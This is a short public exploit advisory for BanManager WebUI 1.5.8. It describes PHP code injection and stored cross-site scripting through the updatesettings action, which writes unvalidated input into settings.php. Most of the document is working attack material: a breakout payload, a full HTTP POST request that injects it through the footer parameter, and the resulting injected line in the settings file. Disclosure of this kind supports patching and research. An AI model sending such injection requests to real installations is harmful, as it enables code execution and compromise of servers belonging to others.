BanManager WebUI 1.5.8 Code Injection / Cross Site Scripting

`BanManager WebUI 1.5.8 - PHP Code Injection & Stored XSS  
  
# Exploit Title: BanManager WebUI - PHP Code Injection & Stored XSS  
# Date: 2017-05-10  
# Exploit Author: HaHwul  
# Exploit Author Blog: www.hahwul.com  
# Vendor Homepage: https://github.com/BanManagement/BanManager-WebUI  
# Software Link: https://github.com/BanManagement/BanManager-WebUI.git  
# Version: 1.5.8  
# Tested on: Debian  
  
### Vulnerability  
Code executed via the updatesetting action will modify 'setting.php'.  
In the process, there is not verification of the input value, so it is possible to insert php code.  
  
### Vulnerable param  
PHP Code Injection & Stored XSS  
- footer  
- buttons_before  
- buttons_after  
  
Only PHP Code Injection  
- banextra  
- muteextra  
  
### Attack code  
PAYLOAD: aaaaaa';$hacker=hwul//inject_php_code';  
  
POST /vul_test/BanManager-WebUI/index.php?action=updatesettings&ajax=true&authid=3da541559918a808c2402bba5012f6c60b27661c HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://127.0.0.1/vul_test/BanManager-WebUI/index.php?action=admin  
Content-Length: 168  
Cookie: BanManagement=epnsf8sut1o05ps574h4861gu7  
DNT: 1  
Connection: keep-alive  
  
type=mainsettings&iframe=on&utf8=on&footer=aaaaaa'%3B%24hacker%3Dhwul%2F%2Finject_php_code&latestbans=on&latestmutes=on&latestwarnings=on&buttons_before=&buttons_after=  
  
  
### Result(in settings.php)  
$settings['password'] = 'asdf'; // ACP Password (Keep it strong)  
$settings['footer'] = 'aaaaaa';$hacker=hwul//inject_php_code';  
$settings['admin_link'] = true; // Show the admin link in the footer of all page  
$settings['bm_info'] = true; // Show ban management infomation aside 'Account Status'  
  
`